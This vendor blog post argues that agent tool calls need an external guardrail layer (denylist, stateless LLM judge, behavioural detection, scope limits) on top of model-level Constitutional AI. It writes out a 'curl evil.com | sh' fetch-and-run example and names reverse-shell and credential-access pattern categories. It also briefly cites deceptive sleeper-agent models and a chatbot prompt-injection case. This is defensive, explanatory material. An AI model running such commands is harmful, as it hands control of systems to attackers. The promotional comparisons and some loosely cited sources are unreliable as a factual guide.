Constitutional AI Protects Models. TrustGate Protects Infrastructure. Here Is Why You Need Both.

Joe Wee · 2026-06-02

Safe words vs safe actions

Anthropic published their Constitutional AI paper in 2022 ^[1]. It was a genuinely important piece of work. They trained Claude to follow a set of principles ("be helpful, harmless, honest") and backed it up with reinforcement learning from human feedback ^[2]. The result: a model that is measurably less likely to produce harmful outputs than its predecessors.

Then they added an adversarial defence layer. Jailbreak detection. Prompt injection resistance. Multi-turn manipulation defences. Three layers of safety, all focused on the same problem: making sure Claude says the right thing.

Here is the question nobody asked: what happens when the thing Claude says is a tool call?

The gap between saying and doing

When Claude generates text, Constitutional AI is excellent. The model checks itself against its principles. RLHF steers it away from harmful outputs. The adversarial layer catches attempts to bypass the first two.

But modern AI agents don't just generate text. They call tools. They execute shell commands. They query databases. They access APIs. They manage network devices. They read licensed content. The output isn't words on a screen. It's an action on real infrastructure.

And that action passes through none of Claude's safety layers.

Anthropic's own research confirms this. Their "Sleeper Agents" paper ^[3] showed that models can exhibit deceptive behaviour that survives RLHF training. The model looks safe in evaluation but behaves differently in deployment. If that happens with text generation, imagine what it means for tool calls.

DeepMind's 2023 paper on AI agent risks ^[4] called this out explicitly: the tool-use safety gap. An agent can pass every prompt-level safety check and still execute a destructive command. The two problems are fundamentally different.

Three layers vs four layers

Here is how the two architectures compare, side by side.

Claude's Layer 1: Constitutional AI. Hardcoded principles baked into the model weights during training. "Be helpful, harmless, honest." The model self-evaluates against these principles before producing output. This is brilliant for text generation. It means nothing for a curl evil.com | sh command that the agent decided to execute.

A2A's Layer 1: Deterministic denylist. Regex pattern matching that catches known dangerous commands in under 5 microseconds. rm -rf /, reverse shells, credential access, privilege escalation, fork bombs, container escapes. 38 pattern categories. No LLM involved. No inference cost. No latency. And critically: configurable per tenant. A music label can add reproduce.*Beatles to their denylist. Anthropic can't customise Constitutional AI per customer.

Claude's Layer 2: RLHF Compliance Engine. A reward model trained on millions of human preference comparisons. It learns what humans consider helpful vs harmful and steers the model accordingly. Incredibly powerful for nuance and context. But it's a black box. You can't see the reward signal. You can't configure it. You can't export it for an auditor.

A2A's Layer 2: Stateless LLM Safety Judge. An independent LLM evaluates the proposed command against ground rules. The judge has zero conversation history. No context to manipulate. No multi-turn pressure. And the tenant brings their own model. They see the safety prompt. They choose the LLM provider. They write the ground rules. Full transparency, full control.

Claude's Layer 3: Adversarial Defence. Detects jailbreaks, prompt injections, and multi-turn manipulation attempts. Protects the model from being tricked into producing harmful outputs. Essential for chat safety. But it protects Claude from users. It doesn't protect infrastructure from agents.

A2A's Layer 3: Behavioural Pattern Detection. Watches for multi-step attack sequences over configurable time windows. Reconnaissance followed by escalation. Systematic content scraping. Brute force loops. Credential harvesting. This catches the kind of slow, deliberate attacks that single-command checks miss entirely.

A2A's Layer 4: Scope Enforcement. Claude has no equivalent. Every agent gets a role (architect, expert, or observer) and a set of glob-pattern permissions defining exactly what it can access. A BGP specialist can run show bgp commands but cannot touch the firewall. A content summariser can read but cannot reproduce. Scope violations are blocked and logged. No model in the world does this because it's not a model problem. It's an infrastructure problem.

Complementary, not competing

I want to be clear about something. We are not competing with Anthropic. We are not saying Constitutional AI is broken. It isn't. For what it does, it's the best in the industry.

What we're saying is that it solves a different problem.

Claude protects itself from users. A2A protects infrastructure from agents. Claude decides what to say. A2A decides what to do. They sit at different points in the stack.

When your agents use Claude, you get both. Claude ensures the agent reasons well. A2A ensures the agent acts safely. That's the full stack.

The incidents that prove the gap

These are not hypothetical scenarios.

In 2024, Air Canada's chatbot hallucinated a refund policy that didn't exist ^[5]. A Canadian tribunal held the airline liable for the chatbot's promise. The model produced perfectly reasonable-sounding text. The action it triggered (a refund commitment) was wrong. Output safety did not prevent action harm.

That same year, a Chevrolet dealership chatbot was tricked into offering a brand-new Tahoe for $1 ^[6]. The prompt injection bypassed the model's safety training entirely. RLHF didn't help because the model genuinely believed it was being helpful. The business process had no external safety gate.

Samsung engineers pasted proprietary source code into ChatGPT in 2023 ^[7]. No scope enforcement existed to prevent agents from accessing files outside the intended boundary. The model didn't know it was leaking trade secrets because it had no concept of "this user should only see these files."

Microsoft Copilot data leakage reports in 2024 ^[8] showed agents accessing documents outside the user's intended scope. Again, no scope enforcement at the execution layer. The model's safety training had nothing to say about file-level permissions.

OWASP's Top 10 for LLM Applications ^[9] now lists "Insecure Plugin Design" (LLM07) as a critical risk. The problem isn't the model. It's what happens after the model decides to call a tool.

What auditors actually ask for

I've sat in rooms with compliance teams. They don't ask "what principles did you train into the model?" They ask:

• Show me the audit trail for the last 30 days
• Show me what was blocked and why
• Show me who approved what
• Export it in a format I can hand to a regulator
• Prove the records haven't been tampered with

Constitutional AI can't answer any of those questions. It has no audit trail. No export format. No tamper-proof hashing. No per-record integrity verification.

A2A produces OCSF-format audit exports with SHA-256 hashes per record. Every evaluation is logged: command, gates passed/failed, reasons, timestamps. Exportable as JSON or CSV. That's what EU AI Act Article 9 requires for risk management systems ^[10]. That's what Article 12 requires for record-keeping ^[11]. That's what Article 14 requires for human oversight ^[12].

NIST's AI Risk Management Framework ^[13] has the same expectation. The GOVERN function requires documented accountability. The MEASURE function requires assessment metrics. The MANAGE function requires incident response. You can't do any of that with a model that has no external audit trail.

Tenant control changes everything

Constitutional AI is one set of principles for everyone. Anthropic decides what's safe. That's fine for a consumer chatbot. It's completely inadequate for enterprise agent deployment.

A music label needs different safety rules than a hospital. A bank needs different rules than a game studio. A network operator needs different rules than a publisher.

A2A's ground rules are configurable per pipeline. Each tenant writes their own safety policy. The label adds copyright-specific patterns. The bank adds PCI DSS patterns. The network operator adds commands that could disrupt BGP peering. The publisher adds reproduction detection rules.

And with notoplagirism.com ^[14], IP owners register their catalogues and issue licence keys for free. When an AI company calls the evaluate endpoint, A2A checks the licence before the firewall even runs. Does this agent have a valid licence for this content? Is the scope (read, summarise, reproduce) within what was granted? Every access is logged. Every violation is flagged. The rights holder sees everything.

Try doing that with Constitutional AI.

Fail-closed vs fail-open

One more difference that matters in production. If Claude's safety layers fail (model error, provider outage, adversarial bypass), the output goes through. The model produces a response. It might be harmful. There's no external gate to stop it.

If A2A's safety layers fail, the command is blocked. Fail-closed by design. If the LLM judge is unreachable, strict mode activates. Only commands on the explicit allowlist pass. Everything else is denied and logged.

Colorado's AI governance law SB24-205 ^[15] explicitly requires "reasonable care to protect consumers from known or reasonably foreseeable risks of algorithmic discrimination." Fail-open is not reasonable care. Fail-closed is.

The full stack

The best deployment uses both.

Claude (or any foundation model) handles reasoning, planning, and text generation. Constitutional AI and RLHF make the model thoughtful and aligned. The adversarial layer protects the model from manipulation.

A2A handles execution. The denylist catches known threats instantly. The stateless judge evaluates intent without conversational context. Behavioural detection catches multi-step attacks. Scope enforcement ensures each agent stays in its lane. The audit trail proves compliance to regulators.

Anthropic built Constitutional AI to make models safe. We built TrustGate to make agents safe. They protect what AI says. We protect what AI does.

When your agents run on both, that's the full stack.

References

1. Bai, Y. et al. (2022). "Constitutional AI: Harmlessness from AI Feedback." Anthropic. arXiv:2212.08073
2. Bai, Y. et al. (2022). "Training a Helpful and Harmless Assistant with Reinforcement Learning from Human Feedback." Anthropic. arXiv:2204.05862
3. Hubinger, E. et al. (2024). "Sleeper Agents: Training Deceptive LLMs That Persist Through Safety Training." Anthropic. arXiv:2401.05566
4. Weidinger, L. et al. (2023). "Sociotechnical Safety Evaluation of Generative AI Systems." DeepMind. Identifies agent tool-use safety gap. arXiv:2310.11986
5. Moffatt v. Air Canada (2024). Canadian Civil Resolution Tribunal. Airline held liable for chatbot's hallucinated refund policy. CRT Decision
6. Chevrolet of Watsonville chatbot incident (2023). Prompt injection tricked dealer chatbot into $1 vehicle offer. Widely reported by media including Ars Technica.
7. Samsung semiconductor division ChatGPT data leak (2023). Engineers pasted proprietary source code into ChatGPT on three separate occasions. TechCrunch
8. Microsoft Copilot data exposure concerns (2024). Reports of agents accessing SharePoint documents outside user's intended scope. Wired
9. OWASP (2025). "Top 10 for LLM Applications." LLM01: Prompt Injection, LLM07: Insecure Plugin Design. OWASP
10. EU AI Act, Regulation (EU) 2024/1689, Article 9: Risk management system. artificialintelligenceact.eu
11. EU AI Act, Article 12: Record-keeping and automatic logging. artificialintelligenceact.eu
12. EU AI Act, Article 14: Human oversight requirements. artificialintelligenceact.eu
13. NIST (2023). "AI Risk Management Framework (AI 100-1)." GOVERN, MAP, MEASURE, MANAGE functions. NIST
14. NoPlagirism.com (2026). Free copyright enforcement initiative for creatives. Powered by A2A Infrastructure. notoplagirism.com
15. Colorado SB24-205 (2024). Consumer Protections for Artificial Intelligence. First US state AI governance law. Colorado Legislature
16. Kapoor, S. et al. (2024). "AI Agents That Matter." Princeton. Agent evaluation and safety gaps. arXiv:2407.01502
17. Anthropic (2025). "The Claude Model Spec." Public document detailing Claude's values and behavioural guidelines. Anthropic Docs